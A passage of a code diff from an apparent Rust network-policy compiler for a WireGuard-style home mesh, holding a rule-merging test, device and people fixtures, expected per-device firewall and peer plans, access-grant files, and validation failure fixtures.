|
||||
#[test]
|
||||
fn two_roads_granting_the_same_rule_give_one_rule_and_both_explain_it() {
|
||||
// QA R-16: a diamond. Jana is in two groups whose roads both reach the photos on tcp/443.
|
||||
let parts = Parts::home()
|
||||
.edit_directory(|d| d.replace(
|
||||
r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }"#,
|
||||
r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] },
|
||||
{ "id": "friends", "name": "Friends", "members": ["jana"] }"#,
|
||||
))
|
||||
.with_road(
|
||||
"d00003-friends-photos.md",
|
||||
"---\nid: d00003\nsubject: group:friends\nverb: can-reach\nobject: service:photos.home.arpa\ncreated: 2026-11-25T10:00:00Z\n---\n",
|
||||
);
|
||||
let c = parts.compile();
|
||||
assert_eq!(c.errors().count(), 0, "{:?}", c.problems);
|
||||
let rules: Vec<_> = c.plans[&key(2)]
|
||||
.firewall
|
||||
.rules
|
||||
.iter()
|
||||
.filter(|r| r.src.to_string() == "100.96.0.3/32" && r.ports == Some([443, 443]))
|
||||
.collect();
|
||||
assert_eq!(rules.len(), 1, "{rules:?}");
|
||||
let roads: Vec<String> = rules[0].roads.iter().map(|r| r.to_string()).collect();
|
||||
assert_eq!(roads, ["7tq0mz", "d00003"]);
|
||||
assert_eq!(
|
||||
ids(&parts, 3, &service("photos.home.arpa")),
|
||||
["7tq0mz", "d00003", "k3f9q2"]
|
||||
);
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
|
||||
"name": "friend-node",
|
||||
"address": "100.96.0.6",
|
||||
"classic": false,
|
||||
"expires": null,
|
||||
"peers": [
|
||||
{
|
||||
"key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc",
|
||||
"name": "petr-phone",
|
||||
"address": "100.96.0.7",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.7/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"c0z5wn"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": [
|
||||
{
|
||||
"direction": "forward",
|
||||
"src": "100.96.0.7/32",
|
||||
"dst": "internet",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"c0z5wn"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
"dns": [],
|
||||
"exit": null,
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"name": "home-server",
|
||||
"address": "100.96.0.2",
|
||||
"classic": false,
|
||||
"expires": "2026-11-29T22:59:59Z",
|
||||
"peers": [
|
||||
{
|
||||
"key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE",
|
||||
"name": "mark-pc",
|
||||
"address": "100.96.0.1",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.1/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"h2x8vd",
|
||||
"k3f9q2",
|
||||
"p4n6rb"
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM",
|
||||
"name": "jana-phone",
|
||||
"address": "100.96.0.3",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.3/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"7tq0mz",
|
||||
"k3f9q2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ",
|
||||
"name": "jana-laptop",
|
||||
"address": "100.96.0.4",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.4/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"7tq0mz",
|
||||
"k3f9q2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU",
|
||||
"name": "router",
|
||||
"address": "100.96.0.5",
|
||||
"classic": true,
|
||||
"allowed_ips": [
|
||||
"100.96.0.5/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"r8m2tg"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": [
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.1/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"k3f9q2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.3/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"k3f9q2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.3/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "tcp",
|
||||
"ports": [
|
||||
443,
|
||||
443
|
||||
],
|
||||
"roads": [
|
||||
"7tq0mz"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.4/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"k3f9q2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.4/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "tcp",
|
||||
"ports": [
|
||||
443,
|
||||
443
|
||||
],
|
||||
"roads": [
|
||||
"7tq0mz"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.5/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "tcp",
|
||||
"ports": [
|
||||
22,
|
||||
22
|
||||
],
|
||||
"roads": [
|
||||
"r8m2tg"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "in",
|
||||
"src": "100.96.0.5/32",
|
||||
"dst": "100.96.0.2/32",
|
||||
"proto": "udp",
|
||||
"ports": [
|
||||
53,
|
||||
53
|
||||
],
|
||||
"roads": [
|
||||
"r8m2tg"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "forward",
|
||||
"src": "100.96.0.1/32",
|
||||
"dst": "192.168.100.0/24",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"h2x8vd"
|
||||
]
|
||||
},
|
||||
{
|
||||
"direction": "forward",
|
||||
"src": "100.96.0.1/32",
|
||||
"dst": "internet",
|
||||
"proto": "any",
|
||||
"ports": null,
|
||||
"roads": [
|
||||
"p4n6rb"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
"dns": [],
|
||||
"exit": null,
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ",
|
||||
"name": "jana-laptop",
|
||||
"address": "100.96.0.4",
|
||||
"classic": false,
|
||||
"expires": "2026-11-29T22:59:59Z",
|
||||
"peers": [
|
||||
{
|
||||
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"name": "home-server",
|
||||
"address": "100.96.0.2",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.2/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"7tq0mz",
|
||||
"k3f9q2"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": []
|
||||
},
|
||||
"dns": [
|
||||
{
|
||||
"host": "photos.home.arpa",
|
||||
"address": "100.96.0.2",
|
||||
"roads": [
|
||||
"7tq0mz"
|
||||
]
|
||||
}
|
||||
],
|
||||
"exit": null,
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM",
|
||||
"name": "jana-phone",
|
||||
"address": "100.96.0.3",
|
||||
"classic": false,
|
||||
"expires": "2026-11-29T22:59:59Z",
|
||||
"peers": [
|
||||
{
|
||||
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"name": "home-server",
|
||||
"address": "100.96.0.2",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.2/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"7tq0mz",
|
||||
"k3f9q2"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": []
|
||||
},
|
||||
"dns": [
|
||||
{
|
||||
"host": "photos.home.arpa",
|
||||
"address": "100.96.0.2",
|
||||
"roads": [
|
||||
"7tq0mz"
|
||||
]
|
||||
}
|
||||
],
|
||||
"exit": null,
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE",
|
||||
"name": "mark-pc",
|
||||
"address": "100.96.0.1",
|
||||
"classic": false,
|
||||
"expires": null,
|
||||
"peers": [
|
||||
{
|
||||
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"name": "home-server",
|
||||
"address": "100.96.0.2",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"0.0.0.0/0",
|
||||
"100.96.0.2/32",
|
||||
"192.168.100.0/24",
|
||||
"::/0"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"h2x8vd",
|
||||
"k3f9q2",
|
||||
"p4n6rb"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": []
|
||||
},
|
||||
"dns": [],
|
||||
"exit": {
|
||||
"through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"roads": [
|
||||
"p4n6rb"
|
||||
]
|
||||
},
|
||||
"kill_switch": {
|
||||
"through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"roads": [
|
||||
"w9c3ke"
|
||||
]
|
||||
},
|
||||
"direct": [],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc",
|
||||
"name": "petr-phone",
|
||||
"address": "100.96.0.7",
|
||||
"classic": false,
|
||||
"expires": null,
|
||||
"peers": [
|
||||
{
|
||||
"key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
|
||||
"name": "friend-node",
|
||||
"address": "100.96.0.6",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"0.0.0.0/0",
|
||||
"::/0"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"c0z5wn"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": []
|
||||
},
|
||||
"dns": [],
|
||||
"exit": {
|
||||
"through": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
|
||||
"roads": [
|
||||
"c0z5wn"
|
||||
]
|
||||
},
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": []
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"format": 1,
|
||||
"device": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU",
|
||||
"name": "router",
|
||||
"address": "100.96.0.5",
|
||||
"classic": true,
|
||||
"expires": null,
|
||||
"peers": [
|
||||
{
|
||||
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
"name": "home-server",
|
||||
"address": "100.96.0.2",
|
||||
"classic": false,
|
||||
"allowed_ips": [
|
||||
"100.96.0.2/32"
|
||||
],
|
||||
"via": null,
|
||||
"roads": [
|
||||
"r8m2tg"
|
||||
]
|
||||
}
|
||||
],
|
||||
"firewall": {
|
||||
"default": "deny",
|
||||
"rules": []
|
||||
},
|
||||
"dns": [],
|
||||
"exit": null,
|
||||
"kill_switch": null,
|
||||
"direct": [
|
||||
{
|
||||
"app": "steam",
|
||||
"subnet": "0.0.0.0/0",
|
||||
"roads": [
|
||||
"e5yj1s"
|
||||
]
|
||||
}
|
||||
],
|
||||
"custom": [
|
||||
{
|
||||
"road": "x1d7qa",
|
||||
"classic": true,
|
||||
"raw": "[Interface]\nMTU = 1380 \nJc = 4\nH1 = 1234567\n\n[Peer]\nPersistentKeepalive = 25\n# kept exactly as the router had it\n"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
---
|
||||
id: 7tq0mz
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: service:photos.home.arpa
|
||||
until: 2026-11-29T23:59:59+01:00
|
||||
ports: [tcp/443]
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
Jana sees the photos until Sunday.
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: c0z5wn
|
||||
subject: person:petr
|
||||
verb: exits-through
|
||||
object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY
|
||||
created: 2026-11-23T20:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: e5yj1s
|
||||
subject: app:steam
|
||||
verb: goes-direct
|
||||
object: subnet:0.0.0.0/0
|
||||
created: 2026-11-21T18:30:00+01:00
|
||||
---
|
||||
Games do not go through the tunnel.
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: h2x8vd
|
||||
subject: person:mark
|
||||
verb: can-reach
|
||||
object: subnet:192.168.100.0/24
|
||||
created: 2026-11-20T09:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: k3f9q2
|
||||
subject: group:household
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-20T09:00:00+01:00
|
||||
---
|
||||
The household reaches the home server.
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: m6v0hp
|
||||
subject: person:petr
|
||||
verb: can-reach
|
||||
object: service:git.home.arpa
|
||||
until: 2026-11-01T00:00:00+01:00
|
||||
created: 2026-10-01T12:00:00+02:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: p4n6rb
|
||||
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
|
||||
verb: exits-through
|
||||
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-20T09:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,10 @@
|
||||
---
|
||||
id: r8m2tg
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
ports: [udp/53, tcp/22]
|
||||
classic: true
|
||||
created: 2026-11-22T11:00:00+01:00
|
||||
---
|
||||
The old router is a classic WireGuard peer.
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: w9c3ke
|
||||
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
|
||||
verb: never-online-without
|
||||
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-20T09:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,17 @@
|
||||
---
|
||||
id: x1d7qa
|
||||
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
|
||||
verb: custom
|
||||
classic: true
|
||||
created: 2026-11-22T11:05:00+01:00
|
||||
---
|
||||
```raw
|
||||
[Interface]
|
||||
MTU = 1380
|
||||
Jc = 4
|
||||
H1 = 1234567
|
||||
|
||||
[Peer]
|
||||
PersistentKeepalive = 25
|
||||
# kept exactly as the router had it
|
||||
```
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
# kind file code field ("-" for none). Each line is one failing fixture; tests/validation.rs reads it.
|
||||
road bad_name.md file.name -
|
||||
road a00001-no-header.md file.header -
|
||||
road a00002-unclosed.md file.header -
|
||||
road a00003-anchor.md yaml.refused subject
|
||||
road a00004-colon.md yaml.syntax subject
|
||||
road a00005-untill.md key.unknown untill
|
||||
road a00006-until-capital.md key.unknown Until
|
||||
road a00007-duplicate-until.md key.duplicate until
|
||||
road a00008-no-created.md key.missing created
|
||||
road a00009-ports-on-exit.md key.forbidden ports
|
||||
road a00010-ports-scalar.md key.type ports
|
||||
road a00011-bad-id.md id.format id
|
||||
road a00012-id-mismatch.md id.file-name id
|
||||
road a00014-verb-case.md verb.unknown verb
|
||||
road a00015-everyone.md ref.format subject
|
||||
road a00016-mapped-ipv6.md ref.format object
|
||||
road a00017-subject-kind.md subject.kind subject
|
||||
road a00018-nobody.md subject.unknown subject
|
||||
road a00019-object-kind.md object.kind object
|
||||
road a00020-no-service.md object.unknown object
|
||||
road a00021-not-exit.md object.not-exit object
|
||||
road a00022-host-bits.md subnet.not-canonical object
|
||||
road a00023-unrouted.md subnet.unrouted object
|
||||
road a00024-half-internet.md subnet.unrouted object
|
||||
road a00025-naive-until.md until.format until
|
||||
road a00026-created.md created.format created
|
||||
road a00027-port-zero.md ports.format ports
|
||||
road a00028-empty-ports.md ports.format ports
|
||||
road a00029-not-served.md ports.not-served ports
|
||||
road a00030-via-word.md via.format via
|
||||
road a00031-via-unknown.md via.unknown via
|
||||
road a00032-via-not-relay.md via.not-relay via
|
||||
road a00033-classic-yes.md classic.format classic
|
||||
road a00034-classic-unsaid.md classic.unacknowledged classic
|
||||
road a00035-custom-no-raw.md body.raw-missing -
|
||||
road a00036-raw-in-note.md body.raw-outside-custom -
|
||||
road a00037-postup.md body.raw-hook -
|
||||
road a00038-expired.md road.expired until
|
||||
road a00039-eva-no-devices.md road.no-devices subject
|
||||
road a00040-self.md road.self object
|
||||
road a00041-second-exit.md exit.conflict object
|
||||
road a00042-direct-public.md direct.kill-switch object
|
||||
road a00043-custom-object.md key.forbidden object
|
||||
road a00044-tab.md yaml.refused -
|
||||
directory unknown-field.directory.json snapshot.json -
|
||||
directory format-two.directory.json snapshot.format format
|
||||
directory bad-person-id.directory.json directory.id people[3].id
|
||||
directory duplicate-person.directory.json directory.duplicate people[3].id
|
||||
directory name-newline.directory.json directory.name people[3].name
|
||||
directory name-bidi.directory.json directory.name people[3].name
|
||||
directory member-unknown.directory.json directory.member groups[0].members[1]
|
||||
directory member-group.directory.json directory.member groups[0].members[1]
|
||||
devices unknown-field.devices.json snapshot.json -
|
||||
devices bad-key.devices.json devices.key devices[0].key
|
||||
devices duplicate-key.devices.json devices.duplicate devices[6].key
|
||||
devices name-newline.devices.json devices.name devices[0].name
|
||||
devices owner-unknown.devices.json devices.owner devices[6].owner
|
||||
devices address-twice.devices.json devices.address devices[6].address
|
||||
devices address-in-route.devices.json devices.address devices.petr-phone.address
|
||||
devices address-loopback.devices.json devices.address devices[6].address
|
||||
devices route-host-bits.devices.json devices.route devices[1].routes[0]
|
||||
devices route-internet.devices.json devices.route devices[1].routes[0]
|
||||
devices route-link-local.devices.json devices.route devices[1].routes[0]
|
||||
devices route-overlap.devices.json devices.overlap devices.friend-node.routes
|
||||
devices service-host.devices.json devices.service devices[1].services[0].host
|
||||
devices service-no-ports.devices.json devices.ports devices[1].services[0].ports
|
||||
@@ -0,0 +1,2 @@
|
||||
id: a00001
|
||||
subject: person:jana
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
id: a00002
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00003
|
||||
subject: &who person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00004
|
||||
subject: person: jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00005
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
untill: 2026-11-29T23:59:59+01:00
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00006
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
Until: 2026-11-29T23:59:59+01:00
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,9 @@
|
||||
---
|
||||
id: a00007
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
until: 2026-11-29T23:59:59+01:00
|
||||
until: 2027-11-29T23:59:59+01:00
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,6 @@
|
||||
---
|
||||
id: a00008
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00009
|
||||
subject: person:jana
|
||||
verb: exits-through
|
||||
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
ports: [tcp/443]
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00010
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
ports: tcp/443
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: A00011
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00013
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00014
|
||||
subject: person:jana
|
||||
verb: Can-Reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00015
|
||||
subject: person:*
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00016
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: subnet:::ffff:192.168.100.0/120
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00017
|
||||
subject: subnet:192.168.100.0/24
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00018
|
||||
subject: person:nobody
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00019
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00020
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: service:nope.home.arpa
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00021
|
||||
subject: person:jana
|
||||
verb: exits-through
|
||||
object: exit:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00022
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: subnet:192.168.100.7/24
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00023
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: subnet:10.20.0.0/24
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
id: a00024
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: subnet:0.0.0.0/1
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
id: a00025
|
||||
subject: person:jana
|
||||
verb: can-reach
|
||||
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
|
||||
until: 2026-11-29T23:59:59
|
||||
created: 2026-11-25T10:00:00+01:00
|
||||
---
|
||||
